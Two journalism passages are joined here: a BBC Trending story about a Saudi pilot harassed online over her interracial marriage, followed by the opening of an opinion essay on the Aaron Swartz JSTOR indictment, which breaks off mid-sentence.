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"They didn't like my tweets about marriage, equality and unity," she tells BBC Trending. "They started a campaign publishing a picture of my husband and children, and asked others to retweet it. It was very shocking."
Al-Hawsawi is clear about why she she has become a target: "I represent everything that they hate, everything that they stand against. I'm a Saudi woman who married a foreigner. They're anti-American. My husband is white, I'm black. They condemn interracial marriages. They say women shouldn't have jobs, so to see a woman who can't just drive a car but has a pilots licence is unacceptable. And they don't like that my message resonates with a lot of followers."
Her plight doesn't seem to be going unheard. Al-Hawsawi sent a collection of the abusive messages to the ministry of the interior and says the issue is being taken very seriously, but attempts to track down the abusers - most of whom post anonymously - is taking time.
And in the meantime? "I learned a lot from Mandela, MLK and Gandhi," she says. "You don't fight hate with hate. You can light a candle and stay positive. It just makes you stronger."
Next story: Chinese patience with 'Kim The Fat' wears thin
Image copyright Weibo / Cuicheng Hao
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You can follow BBC Trending on Twitter @BBCtrending, and find us on Facebook. All our stories are at bbc.com/trending.Was Aaron Swartz Stealing?
Since the July 19th indictment of Aaron Swartz for surreptitiously whooshing nearly five million JSTOR documents onto a laptop concealed in an MIT network closet, there’s been a lot of codswallop written about JSTOR, about Aaron Swartz and about the public’s right to access documents in the public domain. A 24-year-old computer prodigy and political activist, Swartz has been caricatured as either a hero or a villain; likewise JSTOR. The U.S. Attorney for Massachusetts, Carmen M. Ortiz, who brought the charges against Swartz: she might be a bit of a villain, okay. Information wants to be free, it’s been said. But whether this means free of charge or merely liberated from its confines is a distinction most often left unmade.
What we know so far, if the allegations in the indictment are true: late last year Swartz busted into the MIT network in order to conduct his download in secret, though he has been working at nearby Harvard for many years and has no direct affiliation with MIT. At Harvard, as at pretty much any U.S. university, Swartz would automatically have had full access to JSTOR. It’s been widely asserted that Swartz intended to distribute the material he downloaded from JSTOR to the public, e.g. by posting the lot onto a file-sharing site like The Pirate Bay. And it’s no wonder that people are saying this, because the government’s indictment alleges it directly, but the indictment provides not a single shred of evidence to support these claims.
In a statement released the day the indictment was unsealed, U.S. Attorney Ortiz said: “Stealing is stealing, whether you use a computer command or a crowbar and whether you take documents, data or dollars. It is equally harmful to the victim, whether you sell what you have stolen or give it away.” Stealing may be stealing, but exactly what is the theft here? There were a few tweets around the time of the press
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